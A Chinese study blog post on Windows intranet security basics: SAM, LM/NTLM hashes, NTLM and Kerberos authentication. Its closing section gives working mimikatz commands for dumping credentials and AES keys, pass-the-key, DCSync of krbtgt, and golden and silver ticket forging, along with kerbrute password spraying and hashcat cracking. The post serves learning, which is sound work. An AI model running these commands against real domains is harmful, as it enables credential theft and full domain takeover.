内网知识基础

文章发布时间:

最后更新时间:

文章总字数:
5.2k

预计阅读时间:
19 分钟

页面浏览: 加载中...

来学习一下内网渗透的相关知识,基本上是概念的学习

内网

内网是一个私有网络,通常是组织或者机构内部使用的网络,内网通常只在局域范围内有效,如银行、学校、企业工厂、政府机关等都办公网都属于内网。

内网可以提供一些特定的功能和服务,例如内部文件共享、打印机共享等。由于内网是私有的,它可以更好地控制网络安全性,限制对内部资源的访问,并提供更高的数据隐私。

工作组

在一个大单位内,可能会有成百上千台电脑相互连接组成局域网,因此如果不对这些电脑进行分组就会显得十分凌乱。因此工作组就是用来解决这个问题的,工作组能够将不同的电脑按照一定的方式进行分组,并将其列入不同的工作组种。

例如将技术部的电脑都列入“技术部”工作组种,行政部的电脑列入“行政部”的工作组中。当你想访问某个部门的资源,就在网络里找到对应的工作组即可看到该工作组内的所有电脑。

域

域是一种网络组织和管理的方式,它通过将计算机、用户和其他网络资源组织成一个逻辑上的集合,方便集中管理和控制。域可以包含多个计算机和用户,并提供单点登录、权限管理和集中用户认证功能。

域可以在内网中使用,通过域控来管理和控制内网中的计算机用户,域控是一个服务器,它负责维护域中的用户账户、权限和安全策略等信息。在域环境中,用户可以使用域账户来登录到任何连接到这个域的计算机,并能够访问共享资源和服务。

也就是说,内网是一个私有网络,而域是一种在内网中管理组织和用户的方式,提供集中的用户认证和权限控制。内网可以通过域来实现更高级的网络管理和安全控制。

Windows认证流程

1
winlogon.exe -> 接受用户输入 -> lsass.exe -> 认证
  • winlogon.exe:当用户尝试登录到windows操作系统中时,会启动winlogon.exe。该进程负责处理用户的登录和注销,提供图形化的登录界面等。winlogon.exe接受用户的输入,包括用户名和密码
  • lsass.exe:一旦用户输入了账号密码,winlogon.exe就会将相应的凭据传递给lsass.exe(全程Local Security Authority Subsystem Service)。lsass.exe是windows中的一个核心系统进程,它负责处理安全策略、用户身份验证以及安全相关的任务,并产生访问日志。
  • lsass.exe会将用户提供的凭据用于认证用户。这个认证可以是本地认证(如检查本地SAM库中的用户协议)、NTLM认证又或者其他认证方式,取决于系统的配置和策略。

SAM

SAM(Security Account Manager)是Windows操作系统中的一个组件,用于管理用户账户和凭据的安全数据库。它存储了本地计算机上的用户账户信息,包括用户名,密码散列值、安全标识符SID和其他安全相关的数据。

当用户输入密码的时候,操作系统会对输入的密码进行哈希处理,并与存储在SAM中的密码哈希值进行比较,以确定是否匹配。

SAM文件通常位于Windows操作系统的C:\Windows\System32\config\SAM路径下,为了保护SAM文件,在正常情况下SAM文件会被操作系统锁定,因此普通用户无法直接移动、复制或者编辑SAM文件。

SAM数据库只存储本地计算机上的用户帐户信息,而在域环境中,域控制器上使用的是Active Directory数据库(NTDS.dit)来管理域中的用户和计算机帐户。

SYSKEY

Windows 10 版本 1607、Windows Server 2016 及更高版本中不再支持 Syskey 实用工具。

SYSKEY是windows提供的一个安全功能,可以理解为使用SYSKEY再对SAM文件中的密码哈希进行一次加密,在认证时只有SYSKEY解密成功SAM,并且密码匹配成功才算登录成功。

SID

SID是windows系统中用于唯一标识用户、组和计算机的安全标识符。

SID通常是由一系列数字和字符组成,用于在整个windows网络中标识用户身份和权限。

除此之外,有一些内置账户的sid是固定的

SSPI和SSP

SSPI是Security Support Provider Interface的缩写,即安全支持提供程序接口。它是一个在windows操作系统中用于执行各种操作的win32API。需要身份验证的应用程序和基础结构服务使用SSPI来提供身份验证。

SSP是安全服务提供的意思,它是为应用程序提供的一种或多种安全功能包的动态链接库DLL,例如Kerberos SSP、NTLM SSP等。

SSPI就是为各种SSP提供通用接口,并允许SSP为不同的身份验证和加密机制提供实现,如NTLM SSP使用Challenge/Response机制,而Kerberos SSP采用基于票据的身份验证机制,理论上也可以编写自己的SSP,并将其注册到操作系统中,以支持自定义的身份验证方法。

Netlogon远程协议

NetLogon是一种在Windows域控上使用的RPC接口,通常用于域控之间和域成员计算机之间进行通信,用于处理与用户和计算机身份验证相关的任务,常用于让用户使用NTLM协议登录服务器,也用于更新计算机域密码

内网、DMZ、外网

这三者属于安全域划分里的内容,安全域划分是将一组具有相同安全等级的计算机划分到同一个网段内的过程,并在网络边界上设置防火墙来控制对其他安全域的访问。

常见的安全域划分分为内网、DMZ和外网。基于不同的访问控制策略,安全域之间的通信会有限制。

  1. 内网(安全等级最高):分为核心区(存储企业敏感数据,只有极少数主机能够访问)、办公区(员工日常工作区,一般能够访问DMZ,部分主机可以访问核心区)。内网可以访问DMZ和外网
  2. DMZ(隔离区,安全等级中等):这是为了解决防火墙安装后外部网络不能够访问内网服务器的问题而设立的一个非安全系统与安全系统之间的缓冲区,其作用是将一些需要对外的服务器部署在这个区域内(例如Web服务器、邮件服务器),以便于对外提供服务,但是又不直接接触内网,从而增加网络安全性。DMZ不能够访问内网,但是可以按情况访问外网。
  3. 外网(Internet):外网可以访问DMZ,不能够访问内网。

LM Hash & NTLM Hash

LM Hash和NTLM Hash是两种哈希算法,在SAM数据库中就存储有它们俩。

示例:

1
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

AAD3B435B51404EEAAD3B435B51404EE:LM Hash(空密码)

31D6CFE0D16AE931B73C59D7E0C089C0:NTLM Hash(空密码)

LM Hash是Windows NT之前版本引入的一种哈希算法,其计算过程如下:

  1. 将用户的密码转换为大写,然后转换为16进制字符串。不满14字节的会用0在后面补全(意思是密码长度最多为14,也就是28个16进制字符)
  2. 将密码的16进制字符串分成两个部分(平分两部分,也就是每部分14个16进制字符)。每个部分会转换为二进制流,长度为56位。如果长度不足56位,则在左边补0
  3. 将每个二进制流分为8组,每组7位,并在每组的末尾添加一个0,形成8组长度为8的比特流
  4. 将上述步骤得到的两组比特流分别用密钥KGS!@#$%进行DES加密
  5. 最后将两组加密后的比特流拼接在一起,得到最终的LM Hash值
1
2
3
4
from passlib.hash import lmhash

lm_hash = lmhash.encrypt(password)
print("LM Hash: " + lm_hash)

LM Hash存在的安全问题:

  1. 密码最多支持14字符,并且要将密码转换为大写。限制了密码的复杂性和强度
  2. 使用固定的KGS!@#$%进行DES加密,并且根据上面的加密逻辑不难得到如果长度≤7的话,会导致后面的字节全部补0,因此能够计算得到如果hash后16位是aad3b435b51404ee,那么就说明明文长度小于等于7。
  3. DES密钥长度较短

NTLM Hash是LM Hash的改进版本。

在Windows Vista后,默认情况下不存储LM Hash,只存储NTLM Hash。因此抓取到的大部分LM Hash都是AAD3B435B51404EEAAD3B435B51404EE(空密码)

一些工具强制要求LM Hash:NTLM Hash的格式,我们可以将LM Hash全部写成0:

1
00000000000000000000000000000000:31D6CFE0D16AE931B73C59D7E0C089C0

计算过程:

  1. 将密码转换为16进制
  2. 将结果进行unicode编码(每个字节后添加0x00)
  3. 使用MD4对上一步中得到的结果进行哈希
1
2
3
1. admin => 61646D696E
2. 61646D696E => 610064006D0069006E00
3. 610064006D0069006E00 => 209c6174da490caeb422f3fa5a7ae634

可以使用hashcat对NTLM Hash进行爆破:

1
hashcat -m 1000 -a 0 --force NTLM_Hash password.txt

NTLM协议

NTLM(NT LAN Manager)协议是windows操作系统中使用的一种身份验证机制,它用于在网络通信中验证用户的身份,提供对网络资源的访问控制,并确保通信的安全性。

但是由于它的安全性在如今已经相对较低了,在较新的Windows系统中微软引入了更加安全的例如Kerberos、NTLMv2协议以取代NTLM协议

NTLM协议是一种挑战/响应形式的协议,其主要包括三种消息类型:协商、挑战、验证。

协商:客户端向服务器发送一个包含明文登录用户名的请求,用于说明自己是谁

挑战:如果当前用户存在,服务器会通过NTLM SSP来生成一个16位的随机数(Challenge),并明文返回给客户端。然后服务端使用客户端声明的用户的密码hash来加密Challenge,获得Challenge1

验证:客户端收到Challenge后,使用登录密码的hash对Challenge进行加密生成response,并将response发送到服务器。服务端比较response和Challenge1

如果response和challenge1相同,则说明验证成功

登录密码的Hash就是NTLM Hash

上图是Wireshark抓包后的结果,4个数据包,2个来回,刚好对应了上方的4个步骤。

域环境中的NTLM协议

在域环境中,由于域机器的SAM不存域用户的NTLM Hash,因此需要多一个步骤:使用NetLogon协议将用户名、Challenge、response交到域控并对其进行身份验证

域控通过客户端用户名在自己的ntds.dit中找到对应的NTLM Hash,对Challenge进行加密。再与Net-NTLM Hash进行比较,如果相同则说明密码正确,否则密码错误。

然后服务器根据域控的结果成功与否返回给客户端。

NTLMv2与NTLMv1的区别

NTLM v2与v1的差别在于加密方式和Challenge的不同

NTLM v1的Challenge值为8字节,而NTLM v2的Challenge值为16字节

NTLM v1的加密方式是DES,而NTLM v2的加密方式为HMAC-Md5

Net-NTLM Hash

这里也有v1和v2

Net-NTLM Hash V1的格式为:

1
username::hostname:LM Response:NTLM Response:Challenge

v2的格式为:

1
username::domain:Challenge:HMAC-MD5:blob

hashcat可以对正确格式的NTLM-Hash进行爆破,并且可以通过Responder等工具来获取到Net-NTLM Hash

Kerberos协议

Kerberos协议是一种基于加密票证来实现的身份验证协议。它包含三个部分:

  1. KDC(Key Distribution Center),密钥分发中心
  2. Client,客户端,需要访问网络资源的用户或者应用程序。
  3. Server,服务端,提供网络资源的实体,如文件服务器、打印机等

KDC负责发放加密票证,Client使用票证向KDC请求服务凭据,然后向Server提供票证以访问服务。

KDC

密钥分发中心KDC由两部分组成:

  1. 身份验证服务AS(Authentication Service)。它负责最初的身份验证,客户端向AS发送身份验证请求,AS验证用户身份并颁发TGT(Ticket Granting Ticket)
  2. 票据授予服务TGS(Ticket Granting Service)。它负责颁发票据,客户端使用在上一步中的TGT请求TGS颁发ST(Service Ticket)

KDC一般会安装在一个域的域控中,其中包含一个KRBTGT用户。它是创建域时系统自动创建的一个账号

TGT

TGT包含了客户端的身份信息以及TGS的密钥,它用于安全地向TGS请求ST

ST

用于服务端和客户端之间安全通信的加密令牌。它又称TGS票据,它包含了客户端的用户信息、服务端信息和有效期。

会话密钥Session Key

在获取TGS票据后,TGS票据会包含一个会话密钥,客户端和服务端在建立连接时,使用会话密钥对通信进行加密和解密。

PAC

PAC是Privilege Attribute Certificate,用于验证用户权限的特权属性证书。它通常在TGT中,用于确定用户所拥有的权限。PAC由用户信息和数字签名两部分组成,用户信息包括用户的SID、组的SID等,而数字签名用于验证用户信息的合法性。PAC对于客户端和服务端是完全不可见的,只有KDC可以制作和查看PAC

Kerberos认证过程

Kerberos认证协议过程中会用到两个基础模块:AS_REQ&AS_REP和TGS_REQ&TGS_REP

  • AS_REQ&AS_REP:Client与AS之间的交互,用于获取TGT
  • TGS_REQ&TGS_REP:Client与TGS之间的交互,用于获取ST

请求过程如下:

  1. Client向AS模块申请请求TGT。这个时候Client的Kerberos协议会向KDC的AS发送AS_REQ认证请求,这个AS_REQ请求包含客户端的个人信息如用户名以及需要请求的服务、目标服务的主机等信息,也告诉AS自己将要和TGS通信。与此同时,为了防止别人伪造客户端的请求以及重放攻击,还会发送一个authenticator认证因子,这个authenticator需要用到客户端的哈希来加密一个时间戳。

  2. KDC的AS模块对客户端的请求做出响应,AS在接收到Client的AS_REQ请求后会查询AD目录找到对应客户端的hash,然后对authenticator进行解密,如果解密失败说明用于加密的hash是错误的,同时验证是否受到了重放攻击。
    在AS认证通过后,AS会生成login session key和TGT,这个key用客户端的hash进行加密,TGT会用krbtgt用户的hash进行加密,最后再将加密后的login session key和TGT以及一些其他信息打包发送回Client。

  3. 客户端向TGS申请ST,客户端在接收到上一步的响应包后,会将TGT存储到本地,并使用自己的hash解密并获得login session key,然后客户端用login session key加密时间戳,并将加密后的时间戳、TGT、需要的服务名字、自己的相关信息等一同发给TGS。

  4. TGS收到请求后,会先检查是否存在有客户端需要的服务。如果存在就会使用krbtgt用户的hash对TGT进行解密,解密到的信息包含了login session key。再使用login session key解密加密后的时间戳,用于验证。
    通过验证后KDC就会生成Service session key和ST,并将Service session key通过login session key加密后和ST一同打包给Client

  5. 客户端接收到了响应包,会将ST存储起来,并使用login session key对Service session key进行解密,用于和服务端通信。客户端使用Service session key对客户端信息、时间戳进行加密,再和ST打包发送至Server

  6. Server接收到包后,用自己的hash解密ST,能够拿到客户端信息和Service session key ,再用Service session key去解密客户端发来的信息和时间戳验证是否伪造请求或者重放攻击
    通过验证后,服务端会请求KDC,将PAC发送给KDC验证

  7. KDC验证PAC,解密后查看PAC获取Client的SID等信息来判断Client是否有访问该服务的权限

  8. 服务端生成票据,该票据包括客户端身份信息、服务端的身份信息,这些信息使用Service session key去加密并发送给客户端,然后客户端就可以正常获取到服务端的服务了。

6、7步不一定发生。需要配置验证KDC PAC 签名,如果没有配置,那么可能会导致白银票据攻击。

Kerberos协议的攻击面

PTK

Pass The Key是在域中攻击Kerberos协议一种方式,其原理是获取到用户的aes128_hmac/aes256_hmac来通过Kerberos认证,它可以在NTLM认证被禁止的时候用来实现类似PTH的功能。

PTK的使用条件:

1
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

在getshell后使用mimikatz获取aes_key:

1
mimikatz "privilege::debug" "sekurlsa::ekeys"

然后使用mimikatz进行PTK

1
2
mimikatz "privilege::debug" "sekurlsa::pth /user:目标用户名 /domain:目标域名 /aes128:目标aeskey
mimikatz "privilege::debug" "sekurlsa::pth /user:目标用户名 /domain:目标域名 /aes256:目标aeskey

然后在弹出的cmd窗口中输入net use命令进行测试

用户名枚举

用户存在但是密码错误时,Kerberos会返回KDC_ERR_PREAUTH_FAILED,用户不存在时Kerberos会返回KDC_ERR_C_PRINCIPAL_UNKNOWN。基于这个条件可以在域外对域内的用户名进行爆破

密码喷洒

通过固定密码去批量爆破用户,如果密码错误Kerberos会返回KDC_ERR_PREAUTH_FAILED,否则直接返回TGT,基于这个条件可以使用密码喷洒

工具是kerbrute

1
kerbrute_windows_amd64.exe passwordspray -d 域 username.txt 单个密码

PTT(Pass The Ticket)

PTT是一种使用Kerberos票据代替明文密码或者NTLM Hash的方法,最常见的PTT方式是黄金票据和白银票据

黄金票据

原理:在AS返回TGT时,AS会使用krbtgt用户的hash进行加密。因此只需要获取到krbtgt用户的hash即可伪造任意用户登录域控。

需要:

krbtgt用户的SID和krbtgt用户的hash

1
mimikatz "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"

获取到krbtgt用户的hash和sid后使用mimikatz伪造黄金票据:

1
2
3
4
5
6
7
8
9
10
11
# 清除缓存
kerberos::purge

# 生成票据
kerberos::golden /admin:Administrator /domain:de1ay.com /sid:xxx /krbtgt:xxx /ticket:Administrator.kiribi

#导入票据
kerberos::ptt Administrator.kiribi

# 查看票据
kerberos::list

导入黄金票据后即可远程访问DC

白银票据

可以回顾kerberos认证协议,其中TGT由krbtgt的hash进行加密。TGS使用服务端自己的hash进行加密。既然可以通过获取krbtgt的hash进行黄金票据攻击,按道理也可以获取服务端的hash进行攻击,这就是白银票据。

但是白银票据是有局限的:

  1. 白银票据伪造的是ST,通过获得服务的服务账号和密码来生成一张可以访问该ST服务的票据,如LDAP、MSSQL、WinRM等
  2. 黄金票据通过krbtgt用户的hash来伪造票据,具有非常高的权限。而白银票据通过服务端的hash来伪造ST,只能访问特定服务,不需要和KDC交互
  3. 因此伪造的白银票据不带有有效KDC签名的PAC,如果开启了验证KDC PAC签名,白银票据就会失效

伪造步骤:

需要的内容:

  1. /domain
  2. /sid
  3. /target:目标服务器的域名全称
  4. /service:目标服务器上面的kerberos服务
  5. /rc4:计算机账户的NTLM hash,域控主机的计算机账户
  6. /user:要伪造的用户名,此处可用silver测试

使用mimikatz获取服务用户的SID和hash:

1
mimikatz "privilege::Debug" "sekurlsa::logonpasswords" "exit"

使用mimikatz伪造白银票据:

1
mimikatz "kerberos::golden /domain:org.gm7 /sid:S-1-5-21-1878822121-1315641291-3131639831 /target:DESKTOP-9CAT508.org.gm7 /service:cifs /rc4:3ac1e294fabedf7d2bfa80fec59f59b9 /user:xxx /ptt" "exit"

常见的服务列表

Service Type Service Silver Tickets
WMI HOST RPCSS
PowerShell Remoting HOST HTTP
WinRM HOST HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS LDAP CIFS